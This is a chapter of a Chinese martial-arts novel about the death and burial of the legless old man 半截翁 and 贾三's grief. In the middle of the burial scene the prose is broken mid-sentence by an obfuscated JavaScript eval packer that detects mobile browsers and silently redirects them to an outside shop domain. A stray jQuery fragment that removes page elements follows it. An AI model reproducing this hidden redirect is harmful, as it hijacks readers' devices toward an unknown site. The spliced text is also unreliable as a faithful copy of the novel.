话说苏牧羊封山之后，黑风镇上着实平静了一段时日。贾三每日照旧开门卖胭脂，关门数铜板，闲时便蹲在河沟边啃炊饼，望着那棵被自己一扁担抽裂了树皮的歪脖子枣树发呆。
这日午后，贾三正蹲在铺子门口整理新到的一批篦子，忽听街口传来一阵急促的脚步声，是褚义，跑得满头是汗，还没到铺子门口便喊开了：“师尊！半截翁——半截翁快不行了！”
贾三手里的篦子掉在地上，他站起来，在围裙上擦了擦手：“带路。”
赶到破庙时，半截翁正躺在神像后面那堆干草上，了尘把自己的破棉絮垫在他身下，又从灶膛里扒了些炭火搁在他脚边。火光照得他那张枯瘦的脸忽明忽暗，眼窝深陷下去，颧骨高高突起，整张脸像是被什么东西从里面往外吸干了。他的眼睛半睁着，望着庙顶上那根被烟火熏黑的横梁，嘴唇微微翕动，像是在念什么。他那支秃笔搁在破碗旁边，笔尖上的墨已经干了，那卷发黄的纸摊在膝上，纸上的字迹比从前更枯更涩，最后一个字的末笔拖出去很长，然后忽然断了，想来是再也没有力气把那一笔写完。
贾三在他旁边蹲下来，伸手轻轻握住了那只枯瘦如柴的手。半截翁的手指动了一下，然后缓缓转过头来，对着贾三，嘴唇翕动了许久，终于挤出几个字来：“你……来了。”
贾三道：“我来了。”
半截翁的眼角忽然泌出一点淡淡的湿痕。他松开贾三的手，颤巍巍地指了指自己那双齐膝断去的残腿，忽然笑了一下。
“四十年前，”他开口了，声音沙哑，断断续续，每说几个字便要停下来喘很久，“我是第一个“大侠”，那时候还没有太虚真经，没有灵前论武，没有归真山庄。他们需要一个神，便把我做成了神。我不愿意，他们就拿铁链把我锁在椅子上，每日喂我参汤，不让我死。”
他停下来，胸口的起伏像是拉着一只破旧的风箱，呼哧呼哧，每一口都扯得又深又慢。贾三把他的手指攥在自己手心里，没有说话。半截翁喘了一阵，又继续往下说。
“后来我逃了，我拿斧头砍断了自己的双脚，从山庄后门的阴沟里爬出去。那夜下着暴雨，没有人听见斧头砍在骨头上的声音。我爬了一夜，爬到这座破庙门口时，血已经流干了。是了尘，那时候了尘还是个年轻和尚，把我背进庙里，拿香灰堵住伤口，又熬了一锅米汤灌进我嘴里。”
他转头看了了尘一眼。了尘正蹲在灶膛前往里添柴，火光映在他那张从来不笑的脸上，什么表情也没有，仿佛什么也没听见。半截翁又把头转回来，继续往下说。
“我在山庄门口坐了这么多年，看着你走我走过的路，被架上神坛，被人解读，被人利用，最后被人从神坛上推下来。从头到尾，你走的每一步，都是我走过的。可你比我了不起……”
他停了一下，胸口的起伏更剧烈了些。“我没有走下去，我砍断了自己的脚。”
说完这句话，忽然剧烈地咳嗽起来，咳得整个人蜷成一团，像是要把五脏六腑都咳出来。贾三把他的手指攥得更紧了些，低声说了一句：“别说了，歇着。”
半截翁摇了摇头，他还有话没说完。
他伸出另一只手，颤巍巍地从那卷发黄纸的最底下抽出一张。那张纸被叠得整整齐齐，他把那张纸塞进贾三手里。
“这是四十年前，武林盟第一份关于我的记录。上面的头衔，后来都作废了，可墨迹还在。”当年给他立传的那个执笔人，在卷末留了一句话——“此非神，乃人也。”他把这句话记了这么多年，如今把它交还给贾三，他又忽然睁大了眼睛，直直地望着贾三，喉咙里挤出最后几个字：“你说……我到底是谁？”
“你是货郎，和我一样，是个货郎。”
半截翁的瞳孔已经涣散了，嘴角却微微上扬，喉咙里发出最后一声气音，似是想说什么，却终究没有说出来。他那支秃笔还在破碗旁边，笔尖上的墨已经干了，贾三把他那只枯瘦的手轻轻放在发黄纸上，覆住了那道断笔。
了尘从灶膛后面探出头来，对着那张安详如睡去的脸看了片刻，然后从袖子里摸出那枚锈铁钉，把发黄纸翻到最后一页，在这半行字的下方，刻了一个歪歪扭扭的小人，没有脚，手里攥着一支秃笔。
半截翁的后事办得极简。贾三和褚义在后山那三座坟旁边挖了个坑，把他用那张草席卷了埋下去，没有棺材，没有墓碑，只在那座新坟上压了块石头，贾三把半截翁那支秃笔插在坟前，笔尖朝下，笔杆上歪歪扭扭刻着的两个小字早被岁月磨得光滑，那是他自己刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830828|211319||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的，刻的是“不平”。
入土之后，贾三在四座坟前各蹲了片刻。沈玉郎坟前的柿饼已经叫蚂蚁搬得只剩几粒芝麻，陆百川坟前的胭脂盒盖子上落了一层薄薄的灰，半截翁坟前那支秃笔的影子被夕阳拉得很长，笔杆上那两个被岁月磨得光滑的小字，在斜晖里若隐若现。还有一座坟，没有名字，只在石敢当后头那堆黄土前搁着一小撮陈皮，那是半截翁睡下去的地方，了尘没有给他刻字。
夕阳把破庙的影子拉得很长，从山门一直拖到后山，覆住了那几座紧挨在一起的土坟。贾三站起来，拍拍膝盖上的土，对了尘说了一句：“往后我若是再来迟了，你替我给他们搁块饼。”
了尘歪着头看了他片刻，然后从袖子里摸出一块霉饼，搁在石敢当脚边，又往贾三手里塞了半块馒头。
贾三回到黑风镇时，天已黑透。他没有回铺子，却在河沟边那块青石上坐下来，从怀里摸出半截翁留给他的那张发黄纸，就着月光展开，纸的最底下还有一行小字，墨迹极新，是温伯安后来添上去的。他不知道写的是什么，但褚义替温伯安捎信时曾说过一句，温先生在档案室翻到半截翁的旧档时，在卷末加了一笔：“此人与贾三，同出破庙，同入山庄，同被神坛所误。一人断足，一人断名。名可续，足不可续。悲夫。”
贾三把那张纸折好，放进怀里，他望着河沟里那弯被晚风吹皱的月亮，此刻怀里那张发黄的纸分明在告诉他，这世上从来就不止一个贾三。他们藏在各处，有的削足自锢，有的吞药封喉，有的远走他乡，再也没有回来。半截翁用秃笔记下了所有人，唯独没有记他自己。
他对着河沟坐了很久。后来他站起来，走回铺子，把门后那根扁担拿出来，横在膝上，拿袖子慢慢地擦，擦完了又竖回门后。他忽然想，这根扁担他也许还挥得动，但只是挑东西，挑着胭脂水粉，挑着针线篦子，从村口走到镇尾，从这个秋天走到下个春天。他和那些货郎一样，走路时左肩高右肩低，在薄暮里晃晃悠悠的，两头都挑着实打实的日子。
他把乌木小匣合上，放在枕头底下，然后熄了灯。窗外河沟里的水还在往下淌，不疾不徐。远处不知哪家铺子门口还亮着一盏孤零零的纸灯笼，在夜风里轻轻晃着，倒像一枚从天上掉下来的月亮碎片。